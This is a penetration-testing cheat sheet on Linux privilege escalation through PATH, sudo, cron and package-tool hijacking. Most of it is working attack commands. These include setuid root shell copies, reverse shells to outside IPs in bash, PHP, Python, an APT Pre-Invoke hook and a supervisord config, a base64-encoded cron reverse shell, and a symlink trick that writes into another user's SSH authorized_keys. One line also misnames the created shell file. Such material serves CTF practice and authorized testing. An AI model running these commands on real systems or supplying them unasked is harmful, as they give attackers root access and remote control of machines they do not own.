Hijacks

When a script is executed with elevated privileges (e.g., via sudo or in a cron job) and calls other binaries or scripts with relative paths, it may be possible to hijack the execution flow by manipulating the PATH variable or exploiting relative paths.

Check $PATH
echo $PATH
Hijacking Sudo Permissions
If is possible to use php with sudo 
sudo /usr/bin/php -r 'system("/bin/sh");'

Hijacking sudo interactive shell

  • If there is a writable directory in the $PATH (e.g., /tmp or /home/user/), and an attacker can control the contents of this directory.

Copy bash in /tmp or /user
cd /var/tmp && cp /bin/bash .
Use the shell
sudo -i
Path Hijacking sudo

Bash

Copy the shell
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/tokyo\nchown root:root /tmp/tokyo\nchmod 6777 /tmp/tokyo' | tee HIJACKED.sh
Execute the shell
/tmp/tokyo -p

PHP

Copy the shell
<?php
define('PATH', '/PATH/HIJACK');
system('cp /bin/bash /tmp/tokyo; chown root:root /tmp/tokyo; chmod 6777 /tmp/tokyo;');
?>
Execute the shell
/tmp/tokyo -p
Path Hijacking cron

  • When PATH includes /usr/local/bin before /usr/bin in the cron job's environment.

  • When a binary or script is executed without an absolute path.

Copy the shell
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/tokyo\nchmod u+s /tmp/tokyo' > /usr/local/bin/TARGET; chmod +x /usr/local/bin/TARGET

  • bash drops SUID privileges by default, so make sure to run it with -p to keep root:

tokyo -p

PHP

Reverse shell
$sock=fsockopen("10.10.16.8", 4445);
exec("/bin/sh -i <&3 >&3 2>&3");
Copy the shell
<?php
$bashPath = '/bin/bash';
$tokyoPath = '/tmp/tokyo'; 

exec("cp $bashPath $tokyoPath");
exec("chmod u+s $tokyoPath");
exec("chmod +x $tokyoPath");
?>

Reverse shell template

echo "* * * * * root echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMC4zLzcwMjAgMD4mMQo= | base64 -d | bash" > clean
base64 the shell
echo "bash -i >& /dev/tcp/172.20.0.3/7020 0>&1" | base64
Path Hijacking supervisord.pid

  • Process management tool for keeping services running.

  • Each managed process must have a [program:<name>] line followed by another line command= where you should place the payload.

POC
echo -e "[program:memcached]\ncommand = bash -c 'bash -i  >& /dev/tcp/LHOST/PORT 0>&1'" > memcached.ini
Path Hijacking Python

Python prioritize modules within the vulnerable script's directory, so you could place the malicious module there

python PATH order
python -c 'import sys; print "\n".join(sys.path)'
Look for writable modules
find /usr/lib/python* -type f -writable -ls 2>&1 | grep python
Look in virtual environments
find /path/to/venv -type f -writable -ls 2>&1 | grep python
Look in the entire system
find -type f -writable -ls 2>&1 | grep python
Malicious Module Poc
import pty

pty.spawn("/bin/bash")
Reverse Shell
echo 'import pty
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.6",4444))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
pty.spawn("/bin/bash")
s.close()' >> os.py
Path Hijacking symlink
ln -s /root/root.txt t.trace.db

tar wildcards

Move the directory being use by the script:
mv development{,.orig}
Replace it with a symbolic link pointing to your target directory:
ln -s /root development
Decompress the content:
tar xvf file.tar.gz -C /tmp/

Sudoedit Double Wildcard Exploit

  • Using this exploit is possible to create a symbolic link pointing to the authorized_keys file.

First create a new directory in the vulnerable path:
 mkdir tokyo
Now, from the new directory pop the symbolic link: 
 ln -s /home/alekos/.ssh/authorized_keys layout.html
Finally use sudoedit to write your public key: 
sudoedit -u alekos /var/www/testing/tokyo/layout.html

TOCTOU - Time-To-Check-Time-of-Use

  • Is a type of race condition where a system checks a resource’s state at one point in time but acts on that state later.

  • Between the check and the use, the resource can be altered by an attacker.

Attacker continuously changes a symlink target
while true; do ln -sf /sensitive/file /tmp/vuln_link; done

  • The vulnerable script checks /tmp/vuln_link and then uses it, assuming it points to a safe file.

Conditional Logic and Environment Variables

  • In some cases, the vulnerable script uses additional logic or environment variables that affect whether the resource is read or acted upon after the initial check.

  • This can require more sophisticated exploitation, such as using a double symlink or toggling environment variables to bypass checks.

Step 1: Create a symlink that passes the check
ln -s /safe/path /tmp/vuln_link
Step 2: Vulnerable script moves the symlink to quarantine after check
Step 3: Attacker runs in parallel, swapping symlink target to sensitive file
while true; do ln -sf /sensitive/file /var/quarantined/vuln_link; done
Step 4: Attacker sets environment variable to trigger reading the file
export CHECK_CONTENT=true
sudo vulnerable_script /tmp/vuln_link
Path Hijacking doas

  • doas is a lightweight, simple command-line utility for running commands with elevated privileges on Unix-like systems, similar to sudo.

  • doas.conf have important information for privilege escalation:

find / -name "doas.conf" 2>/dev/null
Path Hijacking APT

Pre-Invoke

  • Create a malicious config file to be invoked before APT runs:

echo 'APT::Update::Pre-Invoke {"bash -c '\''bash -i >& /dev/tcp/192.168.0.10/4433 0>&1'\''"}' > file_name

  • APT check this directory for pre-invoke scripts:

/etc/apt/apt.conf.d

  • Just wait for listener.

npmviasudo

  • A NodeJS package is defined in a file package.json, is possible to create a malicious package and run it with the --unsafe option to get code execution:

{
  "name": "root_please",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "/bin/bash"
  }
}

  • The malicious package.json needs to be contain within the fake package directory; once is all setup just run it with sudo:

sudo npm i package/ --unsafe
dstatPlugin poisoning

Allows to run arbitrary python scripts loaded as “external plugins” if they are located in one of the directories stated in the man page:

  • ~/.dstat/

  • (path of binary)/plugins/

  • /usr/share/dstat/

  • /usr/local/share/dstat

Normally to escalate privilege you want to choose the ones within the root path, check for writable permissions:

ls -ld /usr/local/share/dstat/
ls -ld /usr/share/dstat/

Create a malicious plugin:

echo -e 'import os\n\nos.system("/bin/bash")' > /usr/local/share/dstat/dstat_tokyo.py
echo 'import os; os.execv("/bin/sh", ["sh"])' > ~/.dstat/dstat_tokyo.py

Execute it with --PluginName:

doas /usr/bin/dstat --tokyo
sudo dstat --tokyo
ComposerHijacking

  • First create the temporal folder where you will invoke the shell from and save in an environmental variable: 

TF=$(mktemp -d)

  • Once is done, create the malicious script to feed composer: 

echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json

  • Finally, just execute the script with it's in-build option:

sudo composer --working-dir=$TF run-script x
GitPython

CVE-2022-24439

  • Inadequate validation of user input when handling remote URLs passed to the clone command:

Create the reverse shell
echo "bash -i >& /dev/tcp/10.10.16.10/4444 0>&1" > /tmp/shell.sh
Payload
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell.sh'
Via Mosh

if It's possible to use /usr/bin/mosh-server with sudo privileges

Start mosh-server as root and note the key and port
sudo -u root /usr/bin/mosh-server 0.0.0.0
Export the key
export MOSH_KEY=0NJo6yv0XHnF7Wrj8Y5pQ
Connect to the session
mosh-client 127.0.0.1 60001
tcpdumb via sudo

There is a GTFOBin entry for tcpdump

COMMAND='cp /bin/bash /tmp/tokyo; chmod 6777 /tmp/tokyo'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

Now, looking at the /tmp folder, we see that we have successfully created a copy of /bin/bash as /tmp/bash_root 

/tmp/tokyo -p
PreviousEnumerationNextJailbreaks

Last updated